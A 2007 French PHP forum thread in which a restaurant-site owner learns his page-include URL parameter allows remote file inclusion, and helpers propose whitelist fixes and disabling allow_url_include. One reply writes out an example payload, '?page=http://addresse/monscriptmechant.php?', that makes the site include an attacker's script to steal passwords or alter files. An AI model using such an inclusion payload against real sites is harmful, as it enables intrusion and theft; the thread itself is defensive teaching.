Page 1 sur 1

Comment puis je agrandir un texte et son image associée

Posté : 12 nov. 2007, 16:28
par alaingpl
Bonjour,

J'ai réalisé un site pour un ami restaurateur dans lequel une ardoise présente les suggestions du jour.
Cette ardoise a été réalisée de la façon suivante :

code css :

Code : Tout sélectionner

#zone_de_texte_left { background-image:url(img/ardsug2.png); background-repeat:no-repeat; float:left; width:129px; height:255px; padding:40px 10px 15px 10px; margin-top:15px; margin-left:15px; margin-right:0; margin-bottom:auto; color:#FFFFFF; text-align:center; font-style:italic; font-family: "Comic Sans MS",Arial, "Times New Roman"; font-size:xx-small; }
Le texte est en bd, appelé par une requête dans le fichier menuj.php qui lui même est en include dans mon fichier index.php. L'architecture du site est en pseudo - frames.

Si vous souhaitez voir l'ardoise : http://www.lameresimone.com

Je souhaite que lorsqu'un visiteur passe avec la souris au dessus de l'ardoise celle - ci s'agrandisse. J'ai essayé plusieurs solutions sans succès.

Merci d'avance des pistes et des conseils que vous pourrez m'apporter.

Posté : 12 nov. 2007, 18:08
par Berzemus
ça doit être possible en JS, mais ça risque d'être moche, puisque l'image est assez petite, et ça risque de pixeliser.

Je conseillerais de simplement agrandir l'ardoise, l'internaute n'est pas censé savoir qu'il faut naviguer dessus pour l'afficher en plus grand. Le mieux, c'est qu'il puisse lire dés qu'il arrive sur le site.

Au fait:
index2.php?page=accueil.php
On dirait que tu as une fameuse faille de sécurité la, une porte ouverte aux apprentis-pirates..

Et est-ce que le formulaire de contact est bien protégé ? Sinon ça risque vite de tourner au cauchemar.

Posté : 12 nov. 2007, 19:24
par alaingpl
Peux tu m'en dire un peu plus en ce qui concerne ces failles et comment je peut y remedier ?

Je sais que le sujet est vaste mais bon...

Posté : 12 nov. 2007, 22:09
par Berzemus
Tu as de la chance, on vient d'en parler:
http://www.phpfrance.com/forums/voir_sujet-34094.php

Cyrano y expose un méthode des plus recommandables.

Pour ce qui est du mail, je n'ais pas de souvenir d'un sujet particulier, il faudra la mémoire d'un plus ancien pour ça..

Posté : 12 nov. 2007, 22:17
par Cyrano
ça doit être possible en JS, mais ça risque d'être moche, puisque l'image est assez petite, et ça risque de pixeliser.
Sauf si le javascript fait apparaître une image plus grande par dessus en jouant sur la propriété display et que cette image plus grande est positionnée convenablement via un CSS.

Posté : 12 nov. 2007, 22:57
par alaingpl
Le hic c'est que je ne connais pas du tout le language Javascript. Par contre je peux me débrouiller en css.

Donc s'il y a une solution en css, html ou php je suis preneur. Merci quand même.

Posté : 12 nov. 2007, 23:51
par alaingpl
Merci à Berzemus de m'aider pour la sécu:

Je suis allé sur le post que tu m'as indiqué et si j'ai bien compris j'ai fais cela :
$page1 = isset($GET['page']) ? $GET['page'] : 1 ; 
switch($page1) 
{  
	
    case 10: 
        $page = 'page_menu.php'; 
        break; 
		
	case 9: 
        $page = 'page_restaurant.php'; 
        break;
	
	case 8: 
        $page = 'page_acces.php'; 
        break;
		
	case 7: 
        $page = 'page_contact.php'; 
        break;
		
	case 6: 
        $page = 'verif_mel.php'; 
        break;
	
	case 5: 
        $page = 'verifemail.php'; 
        break;
	
	case 4: 
        $page = 'livreor/aff_livre_or.php'; 
        break;
		
	case 3: 
        $page = 'livreor/livre_or.php'; 
        break;
		
	case 2: 
        $page = 'livreor/verif_livre_or.php'; 
        break;
		
  	case 1: 
    default: 
        $page = 'page_accueil.php'; 
   
} 
include($page); 
?> 
Par contre je ne vois pas du tout comment ecrire le lien vers les différentes pages . J'ai écrit :

Code : Tout sélectionner

<a href="http://localhost/index.php?page=9">Restaurant</a>
mais bien sur ça ne fonctionne pas.

1 : Est ce que le switch est correct ?
2: Comment dois je écrire mon lien ?

Posté : 12 nov. 2007, 23:54
par alaingpl
Pour une meilleure visibilité je poste en 2 fois :

Pour le mail j'ai recopié cette fonction dans une revue traitant du PHP :
function checkmail ($var) {
if (preg_match ("#^[a-z0-9][-a-z0-9_.]*@[-a-z0-9_.]+\.[a-z]{2,4}$#i", $var))
	return true;
else return false;
 }
 if (checkmail($_POST['mail'])) $mail=$_POST['mail'];
 else	$mail='[email protected]';


$nom=stripslashes($HTTP_POST_VARS['nom']); 
$mail=stripslashes($HTTP_POST_VARS['mail']); 
$objet=stripslashes($HTTP_POST_VARS['objet']); 
$message=stripslashes($HTTP_POST_VARS['message']); 
 
Elle me semble correct en matière de sécurité, du moins c'est ce qui était indiqué.

Posté : 13 nov. 2007, 11:47
par Berzemus
Je réponds au sujet du switch:

L'adresse est bonne !! (sisi, je jure)

C'est juste l'accès à la variable qui ne l'est pas. c'est $_GET et non pas $GET.

La première ligne doit donc être
$page1 = isset($_GET['page']) ? $_GET['page'] : 1 ; 

Posté : 13 nov. 2007, 13:03
par alaingpl
Merci. Autant pour moi j'aurai du le voir mais j'ai entièrement fais confiance au script de Cyrano.

Par contre je reste perplexe :
Dans la barre d'adresse s'affiche désormais :

Code : Tout sélectionner

http://localhost/index.php?page=9
Soit c'est bien mais quel est l'intérêt contre le piratage par rapport à ce type d'adresse :

Code : Tout sélectionner

http://localhost/index.php?page=page_menu.php
Je n'arrive pas à comprendre où se situe le mécanisme de la correction de faille entre ces 2 adresses.

Si quelqu'un peut éclairer ma lanterne :idea:

Posté : 13 nov. 2007, 14:44
par Berzemus
Si tu agis comme ceci:

url= ?page=acceuil.php
suivi de
include($_GET['page'])

Des malfrats peuvent manipuler la variable (vu qu'elle est directement visible dans la barre d'adresse), inclure un autre script qui exécutera un code louche, et tenteront de récuperer mots de passe, accès, ou simplement modifier le contenu de tes fichiers.

Par exemple:
url = ?page=http://addresse/monscriptmechant.php?

(le dernier point d'interogation est une question technique, inutile ici).
Tu vois ? Hop, piraté.

Et le script de cyrano évite cela.
(bien sur, il se peut que des protections évitent l'include de scripts hors-domaine, mais mieux vaut éviter de donner l'idée)

Posté : 13 nov. 2007, 14:56
par alaingpl
Daccord, j'ai compris mais si je fais ça j'ai la même protection, non ?
<?PHP // pages autorisées
  // ----------------------------------------------------
  $pageOK = array('restaurant.php' => 'restaurant.php',
  	             'form_mel.php' => 'form_mel.php');

  // On teste que le paramètre d'url existe et qu'il est bien autorisé
  // -----------------------------------------------------------------
  if ( (isset($_GET['page'])) && (isset($pageOK[$_GET['page']])) ) {
    include($pageOK[$_GET['page']]);   // Nous appelons le contenu central de la page
  } else {
    include('accueil.php');   // Page par défaut 
  }

Posté : 13 nov. 2007, 15:32
par Berzemus
ah, certes, c'est original aussi ^-^

C'est bien grâce à "include($pageOK[$_GET['page']]);)" puisque au final la valeur est entrée en dur dans le script.

Mais je connais pas les tableaux dans les moindres méandres pour certifier qu'ils ne puissent être manipulés..

Posté : 13 nov. 2007, 16:08
par Ripat
Les piratages par include() arrivent tous les jours:
http://forum.debian-fr.org/viewtopic.php?f=3&t=10801

Si tu n'as pas besoin de faire des includes() hors localhost, mets déjà ta directive allow_url_include à off dans le php.ini! Mais rien ne t'empêche, malgré ça de tester les variables GET et POST. Question de discipline de base.